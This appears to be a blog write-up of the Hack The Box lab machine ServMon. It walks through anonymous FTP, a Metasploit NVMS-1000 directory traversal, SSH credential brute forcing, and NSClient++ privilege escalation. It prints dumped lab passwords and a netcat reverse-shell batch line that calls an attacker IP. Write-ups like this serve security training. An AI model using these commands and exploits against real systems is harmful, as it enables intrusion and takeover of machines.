As always I started by firing up a nmap scan against the host and came up with the following results :
There seem to be a few holes that could get me inside the machine , but the most suspicious of them where I could gather a little more information for free , seems that allowed
anonymous login on the ftp server.
After logging in by making use of the anonymous ftp login I was presented with the users folder (Nathan and Nadine) , with both of them having a note saved in text files in their folders :
Notes to do.txt with the following content :
Nathan, I left your Passwords.txt file on your Desktop. Please remove this once you have edited it yourself and place it back into the secure folder. Regards, Nadine
- Notes to do.txt
1) Change the password for NVMS - Complete 2) Lock down the NSClient Access - Complete 3) Upload the passwords 4) Remove public access to NVMS 5) Place the secret files in SharePoint
There seems to be an useful information for some passwords stored on Nathan Desktop folder which we should keep in mind.
After gathering enough initial information it’s safe to take a look on the webpage which represents a simple login page :
The webpage seems like an administration panel for a CCTV system so for the sake of simplicity I decided to search for
NVMS-1000 on msf to see if there was any ready made exploit that I could make use of. (not useful for OSCP tho)
msf5 > search nvms Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/scanner/http/tvt_nvms_traversal 2019-12-12 normal No TVT NVMS-1000 Directory Traversal
The dots starting to connect!
I came up with a directory traversal exploit for the following NVMS version that could help me grab the previously mentioned
Passwords.txt from Nathan’s desktop folder.
We move on by setting the needed options to the metasploit module and giving it a go :
msf5 > use auxiliary/scanner/http/tvt_nvms_traversal msf5 auxiliary(scanner/http/tvt_nvms_traversal) > set rhosts servmon.htb rhosts => servmon.htb msf5 auxiliary(scanner/http/tvt_nvms_traversal) > set filepath /users/nathan/desktop/passwords.txt filepath => /users/nathan/desktop/passwords.txt
And we try to run it :
msf5 auxiliary(scanner/http/tvt_nvms_traversal) > run [+] 10.10.10.184:80 - Downloaded 156 bytes [+] File saved in: /root/.msf4/loot/20200418090637_default_10.10.10.184_nvms.traversal_531779.txt [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed msf5 auxiliary(scanner/http/tvt_nvms_traversal) >exit root@kali:~# cat /root/.msf4/loot/20200418090637_default_10.10.10.184_nvms.traversal_531779.txt 1nsp3ctTh3Way2Mars! Th3r34r3To0M4nyTrait0r5! B3WithM30r4ga1n5tMe L1k3B1gBut7s@W0rk 0nly7h3y0unGWi11F0l10w IfH3s4b0Utg0t0H1sH0me Gr4etN3w5w17hMySk1Pa5$
The exploit was succesful and I was able to dump a collection of possible passwords I could use against SSH protocol with the usernames I have.
nadine:L1k3B1gBut7s@W0rk were the valid creds from the bruteforcing and with that working up , I am able to grab the user flag and move on to root.
Microsoft Windows [Version 10.0.18363.752] (c) 2019 Microsoft Corporation. All rights reserved. nadine@SERVMON C:\Users\Nadine>type Desktop\user.txt *redacted flag*
As usual I started taking a look on the softwares installed on the machine to see if I could make use of any.
nadine@SERVMON C:\>dir "Program Files" Volume in drive C has no label. Volume Serial Number is 728C-D22C Directory of C:\Program Files 08/04/2020 23:21 <DIR> . 08/04/2020 23:21 <DIR> .. 08/04/2020 23:21 <DIR> Common Files 08/04/2020 23:18 <DIR> Internet Explorer 19/03/2019 05:52 <DIR> ModifiableWindowsApps 16/01/2020 19:11 <DIR> NSClient++ 08/04/2020 23:09 <DIR> Reference Assemblies 08/04/2020 23:21 <DIR> UNP 14/01/2020 09:14 <DIR> VMware 08/04/2020 22:31 <DIR> Windows Defender 08/04/2020 22:45 <DIR> Windows Defender Advanced Threat Protection 19/03/2019 05:52 <DIR> Windows Mail 19/03/2019 12:43 <DIR> Windows Multimedia Platform 19/03/2019 06:02 <DIR> Windows NT 19/03/2019 12:43 <DIR> Windows Photo Viewer 19/03/2019 12:43 <DIR> Windows Portable Devices 19/03/2019 05:52 <DIR> Windows Security 19/03/2019 05:52 <DIR> WindowsPowerShell 0 File(s) 0 bytes 18 Dir(s) 27,852,365,824 bytes free
NSClient seems interesting so I started googling about it and came up with an easy step-by-step I found in exploitdb
We start by exploring and gathering the informations we need in order to make the exploit work.
- Grab web administrator password :
nadine@SERVMON C:\Program Files\NSClient++>type nsclient.ini # If you want to fill this file with all available options run the following command: # nscp settings --generate --add-defaults --load-all # If you want to activate a module and bring in all its options use: # nscp settings --activate-module <MODULE NAME> --add-defaults # For details run: nscp settings --help ; in flight - TODO [/settings/default] ; Undocumented key password = ew2x6SsGTxjRwXOT ; Undocumented key allowed hosts = 127.0.0.1 ...
After grabbing the web administrator it seems obvious that there is also a config set so only localhost addresses are able to access the web administration page running on port 8443 so I logged out from the SSH client and reconnected by setting up a tunnel to 8443 to replicate the connection to my localhost.
root@kali:~# ssh -L 8443:127.0.0.1:8443 email@example.com firstname.lastname@example.org''s password: Microsoft Windows [Version 10.0.18363.752] (c) 2019 Microsoft Corporation. All rights reserved. nadine@SERVMON C:\Users\Nadine>
I can now navigate to https://localhost:8443/ :
We can use the password from the config file we found earlier and move on to the next step of the exploitation.
- Download nc.exe and evil.bat to c:\temp from attacking machine
@echo off c:\temp\nc.exe 192.168.0.163 443 -e cmd.exe
I made a file named pi.bat in my kali with the lines suggested from the exploit steps and uploaded it alongside with nc.exe in
C:\Temp\ of the machine.
- Add script foobar to call evil.bat and save settings
Next thing , I am going to add a new script in the application named
whatever u want which calls the script I saved in
As seen above I named my newly added script as
command and now I can send this command to the console and expect a reverse shell as system.
root@kali:~# nc -lvnp 9001 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::9001 Ncat: Listening on 0.0.0.0:9001 Ncat: Connection from 10.10.10.184. Ncat: Connection from 10.10.10.184:52351. Microsoft Windows [Version 10.0.18363.752] (c) 2019 Microsoft Corporation. All rights reserved. C:\Program Files\NSClient++>whoami nt authority\system
After executing the command to the web console , I succesfully got a shell as
nt authority\system as expected.
With that we came to the final sentence for this blog and I am able to grab the root flag by navigating to administrator desktop :
C:\Program Files\NSClient++>type C:\Users\Administrator\Desktop\root.txt *redacted flag*